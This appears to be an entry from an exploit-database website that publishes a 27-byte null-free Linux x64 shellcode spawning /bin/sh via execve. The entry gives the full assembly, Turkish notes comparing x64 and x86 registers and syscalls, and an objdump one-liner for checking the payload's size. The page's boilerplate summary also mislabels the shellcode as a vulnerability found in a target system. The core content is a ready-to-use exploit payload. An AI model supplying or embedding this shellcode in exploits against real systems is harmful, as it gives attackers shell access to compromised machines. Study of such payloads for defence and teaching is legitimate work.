Siber Alem / Detail / 250 / Linux-x64-execve-bin-sh-shellcode-27-bytes-null-free-modern
vuln_report_viewer.sh
VULN REPORT / shellcode / ID: 250

Linux/x64 execve(/bin/sh) Shellcode - 27 Bytes (Null-Free, Modern)

2026-07-21
32 views
Verified
Linux x64

Summary

This entry details a vulnerability found in the target system. The exploit was published on 2026-07-21 and has garnered 32 views from the community. It is classified under the shellcode category. Users are advised to review the source code in the Detail tab for technical specifics.

exploit_250.txt
<div class="space-y-8 text-slate-800 font-sans leading-relaxed">

  <div class="border-l-4 border-emerald-500 pl-5 py-3 bg-emerald-50/60 rounded-r-xl">
    <p class="text-xs font-bold uppercase tracking-widest text-emerald-700 mb-1">Modern Shellcode - Linux x64 - 27 Bytes</p>
    <h2 class="text-2xl font-extrabold text-slate-900 leading-tight">Linux/x64 execve(/bin/sh) - 27 Bytes (Null-Free)</h2>
    <p class="text-sm text-slate-600 mt-2">64-bit mimaride shellcode yazmak x86'dan farklidir. Register'lar 64-bit genisligine cikmistir. Sistem cagrisi icin int 0x80 yerine syscall talimatı kullanilir.</p>
  </div>

  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">x64 vs x86 Farklari</h3>
    <div class="bg-slate-900 text-slate-300 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
x86  →  x64
eax  →  rax (64-bit)
ebx  →  rdi (1. arg - System V AMD64 ABI)
ecx  →  rsi (2. arg)
int 0x80 →  syscall
execve = 59 (x64) | 11 (x86)
    </div>
  </div>
  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">x64 Assembly</h3>
    <div class="bg-slate-900 text-green-400 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
section .text
global _start
_start:
    xor   rdi, rdi
    mul   rdi               ; rax=0, rdx=0
    push  rax
    mov   rcx, 0x68732f6e69622f2f ; //bin/sh
    push  rcx
    mov   rdi, rsp          ; rdi = /bin//sh
    push  rax
    push  rdi
    mov   rsi, rsp
    mov   al,  59           ; execve = 59
    syscall
    </div>
  </div>
  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">Boyut Dogrulama</h3>
    <div class="bg-slate-900 text-slate-300 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
objdump -d shell64 | grep -Po '\x..' | tr -d '\n' | wc -c
# Cikti: 27
    </div>
  </div>
</div>

Author Profile

Teo Manojlovic
Teo Manojlovic Elite Member
View All Submissions

Entry Stats

Views 32
Downloads 5
Comments 0
Siber Alem V1 Status: Operational | Exploits: 435 (156 Verified)
Ping: 18ms Lang: EN